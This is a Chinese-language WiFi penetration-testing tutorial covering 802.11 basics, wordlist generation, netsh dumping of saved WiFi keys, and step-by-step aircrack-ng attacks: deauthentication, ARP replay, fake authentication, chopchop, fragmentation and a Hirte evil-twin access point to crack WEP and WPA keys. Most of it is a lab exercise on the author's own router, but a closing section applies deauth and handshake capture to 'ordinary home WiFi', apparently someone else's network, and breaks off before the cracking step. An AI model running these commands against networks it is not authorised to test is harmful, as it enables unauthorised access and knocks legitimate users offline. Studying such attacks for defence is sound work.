无线WiFi安全渗透与防御


IP签名

一、无线安全环境搭建

1.802.11标准

1.概念

802.11标准是1997年IEEE最初制定的一个WLAN标准,工作在2.4GHz开放频段,支持1Mbit/s和2Mbit/s的数据传输速率,定义了物理层和MAC层规范,允许无线局域网及无线设备制造商建立互操作网络设备。基于IEEE802.11系列的WLAN标准已包括共21个标准,其中802.11a、802.11b和802.11g最具代表性.

简单来说:IEEE提出的,是工作在数据链路层的无线协议。

2. 802.11标准和补充

802.11 ,1997年,原始标准(2Mbit/s,2.4GHZ频道)。

802.11a,1999年,物理层补充(54Mbit/s,5GHz频道)。

802.11b,1999年,物理层补充(11Mbit/s,2.4GHZ频道)。

802.11c,符合802.1D的媒体接入控制层(MAC)桥接(MAC Layer Bridging)。

802.11d,根据各国无线电规定做的调整。 

802.11e ,对服务等级(Quality of Service, QoS)的支持。

802.11f,基站的互连性(Interoperability)。

802.11g,物理层补充(54Mbit/s,2.4GHZ频道)。

802.11h,无线覆盖半径的调整,室内(indoor)和室外(outdoor)信道(5GHz频段)。

802.11i,安全和鉴权(Authentification)方面的补充。

802.11n,导入多重输入输出(MIMO)和40Mbit信道宽度(HT40)技术,基本上是802.11a/g的延伸版。

2.WiFi标准

是由wifi联盟提出的一个802.11标准的一个子集,wifi联盟保证了各种不同的无线产品能一起工作。

目前wifi主流应用的协议

802-11

3.无线接入点AP(Access Point)

1.概念

无线AP(Access Point):即无线接入点,它用于无线网络的无线交换机,也是无线网络的核心。无线AP是移动计算机用户进入有线网络的接入点,主要用于宽带家庭、大楼内部以及园区内部,可以覆盖几十米至上百米。无线AP(又称会话点或存取桥接器)是一个包含很广的名称,它不仅包含单纯性无线接入点(无线AP),同样也是无线路由器(含无线网关、无线网桥)等类设备的统称。

2.AP的分类

无线AP通常可以分为胖AP(Fat AP)和瘦AP(Fit AP)两类,不是以外观来分辨的,而是从其工作原理和功能上来区分。当然,部分胖、瘦AP在外观上确实能分辨,比如有WAN口的一定是胖AP。

1.胖AP

胖AP除了前面提到的无线接入功能外,一般还同时具备WAN、LAN端口,支持DHCP服务器、DNS和MAC地址克隆、VPN接入、防火墙等安全功能。胖AP通常有自带的完整操作系统,是可以独立工作的网络设备,可以实现拨号、路由等功能,一个典型的例子就是我们常见的无线路由器。

胖AP简单理解就是带管理功能的AP,胖AP就是自己带有管理功能同时又广播SSID还连接终端的AP,属于麻雀虽小 五脏俱全类型的。

胖AP或者路由

2.瘦AP

痩AP则是不带管理功能的,简单可以把它理解为一个信号发送与接收的天线,它的管理功能由后端的,我们叫无线控制器(AC)来完成。

瘦AP就不能自管理了,需要AC来管理,瘦AP只负责广播SSID和连接终端;一般超小规模组网用胖AP,稍微大一点就用瘦AP了。

这么做的原因主要是在无线路由器很多的情况下,大企业部署一个园区的无线覆盖,有几百个无线路由器是很正常的,但是管理起来就很麻烦了,总不可能像家用路由器一个一个去配置吧,所有由AC进行统一管理要方便和高效的多。

瘦AP

3.用途的区别

胖AP:类似于家用无线路由器,具有三层路由功能.( 多用于家庭)

瘦AP:仅仅类似于以太网集线器,用于转换电信号和无线信号(多用于企业)

4.客户端 STA

连接到AP或者路由器上的设备,就叫做这个AP或者路由器的客户端。比如说 手机,电脑等等

5.无线局域网AP术语介绍

SSID: 服务集标识即wifi名称

BSSID:AP的2层地址(AP的MAC地址)

ESSID:扩展服务集标识,一般情况下等同于SSID。当同一家公司的多个AP组成了一个网络时,整个网络名称就是ESSID。他下边所有AP的名字都是相同的。

工作模式:802.11 b/g/n/ a/n/ac(5G) 向下兼容

信道(channel):发送方和接收方期望载波的频率是固定的,并在特殊性定的范围内变化,这种范围称为信道,WLAN信道是由当前使用的802.11标准决定的。

信道

6.无线网卡的工作模式

1.Managed Mode

被管理模式(Managed mode):当你的无线客户端直接与无线接入点(Wireless Access Point,WAP)连接时,就使用这个模式。在这个模式中,无线网卡的驱动程序依赖WAP管理整个通信过程。

被管理模式

2.Ad Hoc

当你的网络由互相直连的设备组成时,就使用这个模式。在这个模式中,无线通信双方共同承担WAP的职责。

ad-hoc模式

3.Master Mode

一些高端无线网卡还支持主模式。这个模式允许无线网卡使用特制的驱动程序和软件工作,作为其他设备的WAP。比如说猎豹免费wifi

主模式

4.Monitor Mode

就我们的用途而言,这是最重要的模式。当你希望无线客户端停止收发数据,专心监听空气中的数据包时,就使用监听模式。要使Wireshark捕获无线数据包,你的无线网卡和配套驱动程序必须支持监听模式(也叫RFMON模式)

监听模式

5.无线渗透的环境搭建

1.kali linux

​ 下载安装kali虚拟机

​ 官网:https://www.kali.org/

2.usb的网卡

​ 推荐使用 RTL8187 ,RT3070或者WiFi联盟的 kali内置了驱动,被无线安全的人广泛使用。

3.设置无线网卡连接到虚拟机

1.我的电脑–右键–管理–服务和应用程序–服务–VMUSBArbService 选择启动

启动虚拟机usb服务

2.启动卡里虚拟机–插入usb网卡

3.虚拟机–可移动设备–选择无线网卡–选择链接(断开于主机的链接)

4.输入ip a 查看网卡是否被识别

无线网卡确认

6.课堂小结

画布 1

二、专用字典打造

为什么在破解之前先准备专用字典,因为对于一般家庭来说无 常用 一个是预共享密钥PSK,一个是PIN码。

也不是所有的路由都开起了PIN码,一般都会开启域共享密钥。

1.概念

1.预共享密钥模式

预共享密钥模式(pre-shared key,PSK, 又称为个人模式)是设计给负担不起 802.1X 验证服务器的成本和复杂度的家庭和小型公司网络用的,每一个使用者必须输入密语来取用网络,而密语可以是 8 到 63 个ASCII字符、或是 64 个16位数字(256位元)。使用者可以自行斟酌要不要把密语存在电脑里以省去重复键入的麻烦,但密语一定要存在 Wi-Fi 取用点里。

2.pin码

PIN码(PIN1)-全称Personal Identification Number,就是SIM卡的个人识别密码。

路由器的pin码是qss(WPS功能)快速连接功能的识别码。
比如你设置个非常复杂的无线密码,每次有设备加入无线网络的时候,输入密码是很麻烦的。这个时候就可以通过输入8位的pin码,路由器识别后就允许加入网络了,相当于输入了无线密码。

Pin码为8位数的数字组合,一共为11000个,分为前半段4位10000个,后半段3位1000个(最后一位没用),所有只用3位来排列,就只有1000个,一共就是10000+1000=110000。

2.字典

想要破解预共享密钥,就需要一个靠谱的字典。字典是非常关键的。有一个靠谱的字典:

1.决定你是否可以破解成功

2.决定了花费时间的多少

1.社会工程学字典生成器

1.亦思社会工程学字典生成器

image-20211103102340354

2.真空密码生成器

image-20211103102435734

3.safe6pwd.jar密码生成器

image-20211103102527881

4.Crunch工具(kali)
1.工具介绍

Crunch can create a wordlist based on criteria you specify. The output from crunch can be sent to the screen, file, or to another program.

Crunch[krʌntʃ]可以根据您指定的条件创建单词列表。crunch的输出可以发送到屏幕、文件或其他程序。

2.命令行介绍
crunch <min> <max> [options]
min:最小长度
max:最大长度
options:其他选项

crunch 最短长度 最长长度 字符集 选项
3.生成密码字典命令
crunch 8 12 -f /usr/share/crunch/charset.lst ualpha -o /root/pass.txt
-f:规则文件位置
ualpha:具体的规则
-o:文件输出

2.准备好的字典

1.大字典 7.66G

2.千万常用密码(删减纯数字后).txt

3.课堂小结

画布 1

三、windows下wifi进行扫描

1.wifi扫描

1.软件介绍

WirelessMon是一款无线网络扫描工具,它可以帮助用户扫描附近的无线信号,除了WiFi、蓝牙等普通信号之外,移动网络的基站信号也能被这款软件搜索,当用户搜索到这些信号后,用户可以直接连接没有加密的网络。

2.软件使用

WirelessMon软件启动后,默认界面为“概要”界面,如图所示,在这个界面中食用者可以看到无线网卡所能搜索到的所有信号及其信息:

状态:表明所搜索到信号为“所关联的AP”、“可以连接使用的AP”还是“无法连接使用的AP”三种状态;

SSID:搜索到信号的SSID;

信道:信号所占用信道;

安全:AP是否进行加密;

RSSI:Sta所接收到的信号强度;

MAC地址:搜索到信号源设备的MAC地址;

image-20211103164030402

2.windows破解wifi密码

使用windows cmd中netsh破解wifi密码,想要用netsh,必须已经连接过这个wifi,才能破解。

1.以管理员方式打开cmd
2.查看连接过的wifi
netsh wlan show profile
3.输入破解命令
netsh wlan show profile name="HUAWEI-G10FI7"  key=clear
4.找到关键内容即为WiFi密码

image-20211103165252860

5.破解多个密码
netsh wlan export profile folder=D:\wifi\  key=clear
6.找到对应文件查看wifi密码

image-20211103170115193

3.课程小结

windows下wifi进行扫描和破解

四、熟悉kismet

如果要进行无线网络渗透测试,则必须先扫描所有有效的无线接入点。刚好在Kali Linux中,提供了一款嗅探无线网络工具Kismet。使用该工具可以测量周围的无线信号,并查看所有可用的无线接入点。本节课将介绍使用Kismet工具嗅探无线网络。

1.软件介绍

Kismet是802.11二层无线网络探测器,嗅探器和入侵检测系统。它将与支持原始监视(rfmon)模式中的任何无线网卡的工作,并能嗅出的802.11a / b / g / n的流量。它可以使用其他程序来播放音频警报网络事件,读出网络摘要,或提供GPS坐标。这是包含芯,客户端和服务器的主包。

2.软件使用

1.查看kali是否链接了无线网卡

ip a

2.启动kismet

kismet -c wlan0 --use-gpsd-gps 
-c:指定监听的网卡
--use-gpsd-gps: 在主机端口使用GPSD控制的GPS(默认值:localhost:2947)

3.查看此时的网卡配置

ip a
wlan0mon:虚拟无线网卡适配器

4.访问kismet管理界面

http://192.168.110.11:2501/

5.打开图形窗口,第一次使用时,将会进入用户信息设置界面

6.填写相关用户信息,第一行用户名,第二行密码,第三行重复密码,设置完成,点击save(保存)。

QBSS:

这个QBSS概念是包含在802.11E之中,在和终端适配的时候 通知终端自己AP当前的负载能力,可以让(支持QBSS)的终端能够灵活选择最低负载的AP。

3.课堂小结

熟悉kismet

五、aircrack-ng破解WEP加密

1.WEP介绍

其实我们平常在使用wifi的时候,往往会用到的加密方式主要有WEP(pre-RSNA), WPA(TKIP), WPA2(CCMP-AES), 如果有个别对安全要求比较高的也会使用企业级加密(802.1x). 在最新的802.11-2010标准中,有明确的支持新的无线设备应该抛弃WEP和WPA加密方式,而且必须支持WPA2加密方式,但是不得不接受的是,现在我们是有的大多数设备并没有更新的这么快,广泛的WEP和WPA仍然在使用者,而且新开发的设备也应该保持对他们的兼容,所以即使在最新开发的产品中也并没有完全按照802.11-2010的要求,直接放弃对WEP和WPA的支持。

刚开始了解无线加密,也有必要从WEP加密开始掌握WEP-WPA-WPA2-802.1x等相关知识,一是这些东西至少在当前阶段还用的上,二是后面那些更高级的加密方法其实根本上还是基于WEP加密思想改进而来的。

其实无线加密主要是对数据在链路层进行加密,如下图,802.11主要是对physical[ˈfɪzɪkl]和Data-link层进行了定义,而数据链路层又分成两个部分,媒介访问控制(MAC)和逻辑链路控制(LLC),无线数据的加密处理就是在MAC和LLC两个阶段中间做的事情,加密的对象就是MSDU。

image-20211111163427229

所以对于没有MSDP的无线帧是不用加密的,比如管理帧只携带layer [ler] 2的信息,不需要加密;控制帧只有头部和尾部,不需要加密;空帧没有数据域(但有特定的功能),也不需要加密; 总之,需要加密的帧,往往是数据帧。

2.认证类型

加密的分类主要包括共享秘钥认证和开放系统认证,WEP加密是共享秘钥式,而TKIP、CCMP和802.1x则是开放系统,这两种分类个人觉得主要区别是先完成秘钥认证再进行关联,还是先完成关联再进行秘钥认证。比如,它要求无线客户端发送的authentication [ɔːˌθentɪˈkeɪʃn] 报文中指定加密方式,如果是共享秘钥就会进行秘钥的确认,如果是开放系统,则会留到后面关联成功后进行秘钥的确认。

1.开放系统认证

这种认证方式不需要确认STA的任何信息,它只是和AP进行一个招呼式的交互,这个过程中并没有交互身份信息,所以也可以认为是一个空加密。这样做的目的是,双方都认为应该在后面使用更安全的加密方式,在这里只是先打个招呼,STA先进来,我们慢慢坐下核对信息。所以STA发送的第一个Authentication [ɔːˌθentɪˈkeɪʃn] 报文只要表面自己使用的开放系统认证就好了,AP自然会给予successful答复,接着后面顺利完成关联。

image-20211111163604849

2.共享秘钥认证

这种认证方式使用WEP认证STA,所以这种认证的前提是STA和AP都有配置静态的WEP秘钥,因此认证的目的就是确认两者使用的秘钥是否一致。共享秘钥认证是通过4个认证帧的交互来完成的,STA首先发送一个Authentication request给AP,然后AP会给STA回复一个挑战明文,接着STA使用秘钥对这个明文进行加密并发送给AP,最后AP对其进行解密,如果能够解密成功并且明文一致则表示认证成功并回复。

image-20211111163651921

虽然看起来,共享秘钥认证比开放系统认证会更安全,其实实际上并不是这样,因为对于共享秘钥认证,攻击者可以捕获明文内容,也可以捕获加密后的密文,那就很容易被破解,而且秘钥一旦被破解,那么后面交互的所有数据包都能轻易的解密。

3.加密算法介绍

根据加密算法的分类,可以分为同步加密算法和异步加密算法:

同步加密算法:这种算法不管是加密还是解密,都是使用同一个秘钥,为了确保数据的安全,就需要对这么秘钥进行保护,但问题是在进行认证的时候必须对这个秘钥进行确认,那么就需要提出一种安全的确认秘钥的方法,这些方法包括WEP, TKIP, and CCMP。

异步加密算法:这种算法包含了两个秘钥,分别是公钥和私钥,公钥用于消息的加密,私钥用于消息的解密,所以即使有好多人知道公钥,没有私钥也破解不了消息。

流加密和块加密: 流加密以一个bit为单位进行处理,块加密以一个块为单位进行处理

4.WEP加密和解密

1.加密

WEP是一个Layer 2的加密方法,它使用的是ARC4流加密。它有一个数据完整性校验操作,也就是Integrity Check Value (ICV),这个值是通过计算为加密的数据域(MSDU)而来的。

802.11标准定义了两个WEP版本,分别是WEP-40和WEP-104支持64bit和128bit加密,其实40和104都是从64与128减24得来的,这24位叫初始化向量Initialization Vector (IV),注意和ICV进行区分。

image-20211111164258351

40和104则是指静态秘钥的bit长度,也就是说

WEP-40支持输入10 hex characters or 5 ASCII characters,10位16进制或5位ASCII字符

WEP-104支持输入26 hex characters or 13 ASCII characters:26位16进制或13位ASCII 字符

image-20211111164336784

一般来说,WEP支持4个key,使用时从中选一个进行加密。

那么WEP加密过程是怎么实现的呢?下面根据流程图来分析一下

image-20211111164636938

(1) IV是动态生成的24bit随机数,标准没有指定应该怎么生成,而且在数据帧中以明文的方式进行发送,它和key结合生成随机种子(seed),然后运用CR4算法生成秘钥流(keystream)。

(2)对需要加密的明文进行CRC-32运算,生成 ICV(32位),然后将这个 ICV 追加到 plaintext的后面

(3)将尾部有 ICV的plaintext 与密码流进行异或运算,得到加密数据

(4)将 IV 添加到加密数据的前面,进行传送。

下面是WEP加密后的一个数据帧MPDU 格式:

image-20211111164847496

从上图可以看出,在帧体部分包括 IV + MSDU + ICV:

IV一共是4个字节,前3个字节是24bit的初始化向量,后面6bit暂时预留空白没用,最后两个bit用来指定使用哪个key,我们前面有提到过,WEP可以配置4个KEY。

MSDU和ICV是被加密的,在解密的时候,需要检验ICV是否一致

2.解密

和加密相反,解密也需要这几个过程:

image-20211111164823217

(1)IV和key结合生成随机种子(seed),然后运用ACR4算法生成秘钥流(keystream)

(2)将keystream和加密数据进行异或,得到 plaintext 和 ICV

(3)根据解密后得到的 plaintext 再计算一个 ICV 和包中的 ICV进行比较,判断是否相等,这也算是一个可靠性的保证。

5.Aircrack-ng 常用工具包

aircrack-ng:破解

airmon-ng:改变网卡工作模式,将网卡从Managed Mode 改变为 Monitor Mode

airodump-ng:抓包工具,用于捕获报文

aireplay-ng:提供各种攻击,为airodump-ng创造更多的报文

airserv-ng:网卡连接到指定端口 可以用来做无线跳板

airolib-ng:彩虹表破解创建数据库文件

airdecap-ng:解包

6.Aireplay-ng 的 6 种攻击模式详解

1.冲突模式

-0 Deautenticate 冲突模式

使已经连接的合法客户端强制断开与路由端的连接,使其重新连接。在重新连接过程中获得验证数据包,从而产生有效 ARP request。

如果一个客户端连在路由端上,但是没有人上网以产生有效数据,此时,即使用-3 也无法产生有效 ARP request。所以此时需要用-0 攻击模式配合,-3 攻击才会被立刻激活。

aireplay-ng -0 10 –a <ap mac> -c <my mac> wifi0
【-0】:冲突攻击模式,后面跟发送次数(设置为 0,则为循环攻击,不停的断开连接,客户端无法正常上网)
【-a】:设置 ap 的 mac
【-c】:设置已连接的合法客户端的 mac。
如果不设置-c,则断开所有和 ap 连接的合法客户端。
aireplay-ng -3 -b <ap mac> -h <my mac> wifi0
注:使用此攻击模式的前提是必须有通过认证的合法的客户端连接到路由器

2.伪装客户端连接

-1 fakeauth count 伪装客户端连接

这种模式是伪装一个客户端和 AP 进行连接。

这步是无客户端的研究学习的第一步,因为是无合法连接的客户端,因此需要一个伪装客户端来和路由器相连。为让 AP 接受数据包,必须使自己的网卡和 AP 关联。如果没有关联的话,目标 AP 将忽略所有从你网卡发送的数据包,IVS 数据将不会产生。

用-1 伪装客户端成功连接以后才能发送注入命令,让路由器接受到注入命令后才可反馈数据从而产生 ARP 包。

aireplay-ng -1 0 –e <ap essid> -a <ap mac> -h <my mac> wifi0
参数说明:
【-1】:伪装客户端连接模式,后面跟延时
【-e】:设置 ap 的 essid
【-a】:设置 ap 的 mac
【-h】:设置伪装客户端的网卡 MAC(即自己网卡 mac)

3.交互模式

-2 Interactive 交互模式

这种攻击模式是一个抓包和提数据发攻击包,三种集合一起的模式

1.这种模式主要用于研究学习无客户端,先用-1 建立虚假客户端连接然后直接发包攻击

aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifi0
参数说明:
【-2】:交互攻击模式
【-p】:设置控制帧中包含的信息(16 进制),默认采用 0841
【-c】:设置目标 mac 地址
【-b】:设置 ap 的 mac 地址
【-h】:设置伪装客户端的网卡 MAC(即自己网卡 mac)

2.提取包,发送注入数据包, 发包攻击。

aireplay-ng -2 –r <file> -x 1024 wifi0
-x 1024 是限定发包速度,避免网卡死机,可以选择 1024

4.注入攻击模式

-3 ARP-request 注入攻击模式

这种模式是一种抓包后分析重发的过程 这种攻击模式很有效。既可以利用合法客户端,也可以配合-1 利用虚拟连接的伪装客户端。如果有合法客户端那一般需要等几分钟,让合法客户端和 ap 之间通信,少量数据就可产生有效 ARP request 才可利用-3模式注入成功。如果没有任何通信存在,不能得到 ARP request.,则这种攻击就会失败。

如果合法客户端和ap之间长时间内没有 ARP request,可以尝试同时使用-0 攻击. 如果没有合法客户端,则可以利用-1 建立虚拟连接的伪装客户端,连接过程中获得验证数据包,从而产生有效 ARP request。再通过-3 模式注入。

aireplay-ng -3 -b <ap mac> -h <my mac> -x 512 wifi0
参数说明:
【-3】:arp 注入攻击模式
【-b】:设置 ap 的 mac
【-h】:设置自己的mac地址
【-x】:定义每秒发送数据户包的数量,但是最高不超过 1024,建议使用 512(也可不定义)

5.Chopchop 攻击模式

-4 Chopchop 攻击模式

用以获得一个包含密钥数据的 xor 文件 这种模式主要是获得一个可利用包含密钥数据的 xor 文件,不能用来解密数据包。而是用它来产生一个新的数据包以便我们可以进行注入。

aireplay-ng -4 -b <ap mac> -h <my mac> wifi0 
参数说明:
【-b】:设置需要研究学习的 AP 的 mac
【-h】:设置虚拟伪装连接的 mac(即自己网卡的 mac)

6.碎片包攻击模式

-5 fragment 碎片包攻击模式

用以获得 PRGA(包含密钥的后缀为 xor 的文件) 这种模式主要是获得一个可利用 PRGA,这里的 PRGA 并不是 wep key 数据,不能用来解密数据包。而是用它来产生一个新的数据包以便我们可以进行注入。其工作原理就是使目标 AP 重新广播包,当 AP 重广播时,一个新的 IVS 将产生,我们就是利用这个来研究学习

aireplay-ng -5 -b <ap mac> -h <my mac> wifi0
【-5】:碎片包攻击模式
【-b】:设置 ap 的 mac
【-h】:设置虚拟伪装连接的 mac(即自己网卡的 mac)

7.WEP wifi破解步骤

1.环境准备

1.路由器介绍

课程使用的路由器为:思科企业级内置双天线cvr100无线路由器,支持WEP,WPA,WPS加密方式,一般的家用路由器或者比较新的路由器不支持以上三种模式。

2.路由器配置

1.选择无线配置,设置wifi信道为1

image-20211117100857932

2.选择无线wifi–设置安全模式

image-20211117100542595

3.安全模式选择wep,输入口令-点击生成密钥,点击显示密钥,点击保存

image-20211117100714891

2.查看网卡是否连接到kali

ip a

3.开启Monitor Mode工作模式

airmon-ng start wlan0

4.扫描附近的wifi

确定目标wifi的信道,加密方式,信号强度,mac地址等信息

airodump-ng wlan0mon

5.对目标所在信道进行抓包

airodump-ng wlan0mon -c 1 --ivs -w /root/wifi/bk01/WEP --bssid D8:24:BD:79:18:0B
-c:信道
--ivs:初始化向量
-w:输出抓包文件
--bssid:指定wifi进行抓包

6.手工创建客户端连接

设备连接wifi

7.进行ARP注入攻击

arp重放攻击,通过模拟客户端发送ARP请求,获取AP的响应报文,通过AP报文获取ivs初始化向量

aireplay-ng -3 -b D8:24:BD:79:18:0B -h 18:CC:18:C5:D5:64 wlan0mon
-3:arpreplay:arp重放攻击
-b:bssid AP的mac地址
-h:客户端的mac地址

遇到这个错误时,重新连接wifi会一直报【无法连接到该wifi】,这时候,需要ctrl+C停掉arp重放攻击,然后重新在发起一个新的arp重放攻击,在连接wifi就ok了

image-20211117110615154

8.使用Deautenticate攻击模式

使已经连接的合法客户端强制断开与路由端的连接,使其重新连接。在重新连接过程中获得验证数据包,从而产生有效 ARP request。(也不一定能成功,不成功多试几次)

aireplay-ng -0 5 -a D8:24:BD:79:18:0B -c 18:CC:18:C5:D5:64 wlan0mon
-0:冲突攻击模式,后面跟发送次数(设置为 0,则为循环攻击,不停的断开连接,客户端无法正常上网)
-a:设置 ap 的 mac
-c:设置已连接的合法客户端的 mac

9.手动连接AP

等待Frame到5-10万时,就可以尝试破解了

image-20211116164029929

10.破解WIFI,获取WEP密码

aircrack-ng /root/wifi/bk01/WEP-01.ivs

遇到这种说明ivs样本不够,按ctrl+c退出,在等一会重新执行破解命令就可以。也可以在这个界面保持不动,当ivs达到5000时,他会自动重新破解

image-20211117105203267

ivs样本足够时,很快就能破解出来了

image-20211116165048843

8.课程小结

课后笔记

六、Gerix-wifi-cracker自动化破解WEP加密

1.环境准备

1.软件和kali

Kali-Linux-2019.2-vmware-amd64

gerix-wifi-cracker-2

为什么不用2021版本的呢?因为gerix-wifi-cracker-2是基于PyQt4界面工具包开发的软件,2021版本自带的是PyQt5,版本不兼容

2.下载软件,下载地址

https://github.com/J4r3tt/gerix-wifi-cracker-2

3.将软件复制到kali,解压

image-20211118104925897

4.进入软件目录

cd gerix-wifi-cracker-2-master

2.破解步骤

1.启动gerix-wifi-cracker-2-master软件

python gerix.py

2.设置无线网卡位Monitor Mode模式

image-20211118105038014

3.重新扫描网络

image-20211118105100800

4.选择需要破解的WIFI

image-20211118105121104

5.选择顶部【wep】,选择具体的破解方式【General functionalities】

image-20211118105142221

6.点击【Start Sniffing and Logging】开始抓包

image-20211118105204838

image-20211118105218563

7.连接一个客户端,使其发生ARP通讯

8.在客户端发送ping命令加快数据包收集(模拟用户上网数据)

ping /t  192.168.1.1

9.使用python脚本加快收集速度(模拟用户上网数据)

import os
import threading
import time

class myThread (threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
    def run(self):
        cmd="ping /t 192.168.1.1"
        os.system(cmd)
        time.sleep(0.1)

threads=[]

for i in range(50):
    thread1 = myThread()
    thread1.start()
    threads.append(thread1)


for item in threads:
    item.join()


print ("退出主线程")

10.等待Date到达5000时,可以开始破解

image-20211118105254947

11.选择顶部【Cracking】–点击【Aircrack-ng-Decrypt WEP password】开始破解

image-20211118122314228

12.抓包文件存放在: /root/.gerix-wifi-cracker

cd /root/.gerix-wifi-cracker
ls

13.清空抓包结果

cd /root/.gerix-wifi-cracker
rm *

3.课后小结

课后笔记2

七、wifite自动化渗透WEP加密

1.wifite介绍

wifite是一款自动化wep、wpa以及wps破解工具,不支持windows和osx。wifite的特点是可以同时攻击多个采用wep和wpa加密的网络。wifite只需简单的配置即可自动化运行,期间无需人工干预。 目前支持任何linux发行版、Backtrack 5 R1, BlackBuntu, BackBox, Kali(默认自带), CDLinux等。

wifite 破解wep加密wifi时,会采用很多种攻击方式,比如说chopchop攻击,fake欺骗认证码等等,不一定会采用哪个方式破解。不一定能一次性成功。

2.扫描介绍

1.扫描无线网络

wifite

2.停止wifi扫描

ctrl+c

3.扫描某个信道

wifite -c 1
-c:信道扫描目标

4.扫描wep加密类型的wifi

wifite  -wep
-wep  只针对WEP网络 

3.破解步骤

注意:学习时,需要提前在AP上连接一个STA,破解成功率比较高

1.扫描wep加密类型的wifi

wifite  -wep
-wep  只针对WEP网络 

2.停止wifi扫描

ctrl+c

3.选择要破解的AP

输入wifi扫描结果前的序号
 1                cisco-1809     1  WEP   68db    no    1

image-20211125131923614

4.等待ivs变多后,自动尝试破解

image-20211125132227530

image-20211127061713174

4.课堂小结

课后笔记4

八、渗透WEP新思路–Hirte

1.Hirte介绍

Hirte是破解无线网络WEP Key的一种攻击类型

只要客户端设备(笔记本电脑,手机等)连接过的无线网络,那些WIFI即使是不在攻击者范围内也都能被破解,因为该wifi的WEP密钥和配置文件仍然存储在这些无线设备中。

netsh wlan show profile name="cisco-1809" key=clear    

实施这种攻击的要求是建立一个和WEP网络相同的SSID假冒接入点。当客户端设备尝试自动连接到无线网络设时,假冒接入点(攻击者机器)会对受害者设备进行ARP攻击,导致受害者设备将包含密钥流的数据包发出。

2.Hirte破解原理

1.安装一个假的WEP AP(wifi名,mac地址要相同)并等待客户端连接

2.客户端的连接等待自动分配IP地址

3.客户端发送一个ARP数据包

4.获得了ARP分组,并且将其转换成一个ARP请求为同一客户机

5.客户回复

6.收集这些数据包

7.破解WEP密钥

3.渗透姿势1

1.查看网卡信息
ip a
2.监听网卡
airmon-ng start wlan0
3.扫描附近的wifi
airodump-ng wlan0mon
4.配置airodump-ng捕捉数据包并保存数据包文件名字为HSEK
airodump-ng wlan0mon --bssid   D8:24:BD:79:18:0B --write HSEK
--bssid:AP的mac地址
--write:保存文件
5.开始伪造AP,用airbase-ng工具建立WEP接入点
airbase-ng -c 1 -a  D8:24:BD:79:18:0B --essid "cisco-1809" -W 1 -N wlan0mon
-c:信道
-a:模拟AP的MAC地址
--essid:wifi的名称
-W:设置加密位
-N:使Hirte攻击模式
wlan0mon:是接口
6.只要有客户端一连上来,就会进行攻击

image-20211126191930629

image-20211126191947433

7.启动aircrack-ng从捕获的数据包:Hirte破解WEP密钥
aircrack-ng HSEK-01.cap

破解密码是有要求的,第一次ivs必须要大于5000,当小于这个数的话,就会提示

image-20211126192040363

image-20211126192054536

4.渗透姿势2

1.扫描并指定破解方式
wifite  -wep -hirte
2.加速ivs收集
ping -t 192.168.1.1
3.开启攻击加速脚本
启动cmd.py

import os
import threading
import time

class myThread (threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
    def run(self):
        cmd="ping /t 192.168.1.1"
        os.system(cmd)
        time.sleep(0.1)

threads=[]

for i in range(180):
    thread1 = myThread()
    thread1.start()
    threads.append(thread1)


for item in threads:
    item.join()


print ("退出主线程")
4.获得密钥

image-20211126192808198

5.课堂小结

课后笔记3

九、aircrack-ng渗透WPA加密

1.WPA概念介绍

WPA 全名 WI-FI Protected Access, 有WPA 和WPA2两个标准,是一种保护无线网络的安全协议。

WPA实现了IEEE802.11i标准的大部分,是在802.11i完备之前替代WEP的过度方案,后被WPA2取代。

由于WPA和WPA2都是基于802.11i,因此在技术层面几乎是相同的。主要区别在于WPA2要求支持更安全的CCMP。

2.工作原理

WPA和WPA2均使用802.11i中定义的四次握手,客户端(station)和接入点(AP)通过四次握手相互验证和协商名为成对临时密钥(Pairwise Transient Key, PTK)的会话密钥。PTK通过成对主密钥(Pairwise Master key, PMK)、AP随机数ANonce、STA随机数SNonce和双方MAC地址等计算生成。其中PMK由登陆密码等双方均已知的信息计算生成,而后续正常数据加密所使用的临时密钥(Temporal KEY, TK)即派生自PTK,各密钥、参数的关系如下:

image-20211201175811088

四次握手的过程可概括如下:

(1)AP发送自己的随机数ANonce给STA

(2)STA生成随机数SNonce,计算出PTK,并将SNonce和信息完整性校验码MIC发送给AP

(3)AP收到SNonce,计算出PTK(此时双方都有PTK),将组密钥GTK加密后连同MIC发给STA

(4)STA收到GTK,安装PTK和GTK,发送ACK确认。AP收到确认后安装PTK。

image-20211201175839342

3.wifi设置

1.打开wifi设置网站

http://192.168.1.1/                              

2.选择无线配置

image-20211201175942316

3.选择加密方式

image-20211201180006739

4.打造字典

1.crunch生成密码

crunch 8 8 -t %%%%%,,, > pwd.txt
8:最小长度
8:最大长度
-t:定义输出格式
,:代表大写字母
%:代表数字
^:代表符号
14GB大字典

查看字典

tail pwd.txt

2.手工打造

vi passwd.txt

12456
sadasdas
SXiooo1
16330XSX
12345678

5.渗透步骤

1.查看网卡

ip a

2.开启监听模式

airmon-ng start wlan0

3.扫描wifi

airodump-ng wlan0mon

4.抓包保存

airodump-ng wlan0mon -c 1 --bssid D8:24:BD:79:18:0B -w wpa-1 
-c:指定信道
--bssid:AP的MAC地址
-w:保存抓包结果

5.进行冲突模式攻击

将设备踢下线,当用户重连的时候,就会抓到握手包

aireplay-ng -0 5 -a D8:24:BD:79:18:0B -c 18:CC:18:C5:D5:64 wlan0mon
-0:冲突攻击模式,后面跟发送次数(设置为 0,则为循环攻击,不停的断开连接,客户端无法正常上网)
-a:设置 ap 的 mac
-c:设置已连接的合法客户端的 mac

image-20211201180247068

6.破解wifi

aircrack-ng -w /root/wifi/passwd.txt wpa-1-01.cap

image-20211201180327419

7.使用大字典破解

aircrack-ng -w /root/wifi/pwd.txt wpa-1-01.cap

image-20211201180351522

8.不指定字典破解

crunch 8 8 -t %%%%%,,, | aircrack-ng wpa-1-01.cap -e cisco-1809 -w -

image-20211201180447549

image-20211201180502673

6.渗透普通家用wifi

1.抓包

airodump-ng wlan0mon -c 1 --bssid 50:21:EC:97:BB:80 -w wpa-1 
-c:指定信道
--bssid:AP的MAC地址
-w:保存抓包结果

2.进行冲突模式攻击

将设备踢下线,当用户重连的时候,就会抓到握手包

aireplay-ng -0 5 -a 50:21:EC:97:BB:80 -c 18:CC:18:C5:D5:64 wlan0mon
-0:冲突攻击模式,后面跟发送次数(设置为 0,则为循环攻击,不停的断开连接,客户端无法正常上网)
-a:设置 ap 的 mac
-c:设置已连接的合法客户端的 mac

3.破解wifi

